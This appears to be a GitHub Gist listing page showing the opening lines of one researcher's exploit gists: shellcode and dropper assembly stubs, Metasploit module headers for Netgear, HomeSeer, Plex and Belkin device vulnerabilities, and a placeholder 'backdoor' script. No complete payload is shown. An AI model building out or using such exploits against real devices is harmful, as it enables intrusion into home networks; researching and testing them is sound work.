Skip to content

Instantly share code, notes, and snippets.

@phikshun
phikshun / https_winet_pipe32.asm
Created May 29, 2012 03:08
WinInet Pipe Shellcode
%define u(x) __utf16__(x)
[BITS 32]
[ORG 0]
cld
mov esi, esp ; ESI points to the current postion of the stack (for ref local var)
sub esp, 0x2000 ; Alloc some space on stack
call start
delta:
%include "block_api32.asm"
@phikshun
phikshun / drop2.asm
Created April 25, 2012 03:17
Dropper, Take 2, Assembly Code
[BITS 32]
[ORG 0]
cld
mov esi, esp ; ESI points to the current postion of the stack (for ref local var)
sub esp, 2000h ; Alloc some stack space
call start
delta:
%include "block_api32.asm"
start:
@phikshun
phikshun / netstat.rb
Created March 19, 2014 00:50
Netstat.rb
#!/usr/bin/env ruby
require 'net/telnet'
require 'colorize'
display_sockets = false
usage = "Usage: ./netstat.rb <host> <username> [password]\n"
host = ARGV[0]
user = ARGV[1] || ''
pass = ARGV[2] || ''
@phikshun
phikshun / netgear_upnp_csrf.rb
Created March 18, 2014 23:44
Netgear UPnP CSRF
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'NetGear UPnP CSRF',
@phikshun
phikshun / homeseer_code_execution.rb
Created March 17, 2014 19:58
HomeSeer HS3 Code Execution
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HomeSeer Code Execution Vulnerability',
@phikshun
phikshun / plex_windows_rce.rb
Last active January 9, 2018 21:11
A Plex Drive-By
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Plex Code Execution Vulnerability',
@phikshun
phikshun / wemo_upnp_exec.rb
Last active October 13, 2017 19:13
Belkin Wemo SmartSwitch UPnP Remote Command Injection
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@phikshun
phikshun / backdoor.sh
Created June 20, 2017 17:36
I am a backdoor
#!/bin/bash
echo "I am an evil backdoor"
@phikshun
phikshun / belkin_netcamhd_cmd_injection.rb
Created April 4, 2014 22:53
Belkin Netcam HD UPnP Command Injection
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Belkin Netcam HD UPnP Command Injection",
@phikshun
phikshun / https_curl_pipe64.asm
Created September 3, 2012 18:02
LibCurl Pipe Shellcode x64
%define u(x) __utf16__(x)
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
mov rsi, rsp ; ESI points to the current postion of the stack (for ref local var)
sub rsp, 0x2000 ; Allocate some stack space
call start ; Call start, this pushes the address of 'api_call' onto the stack.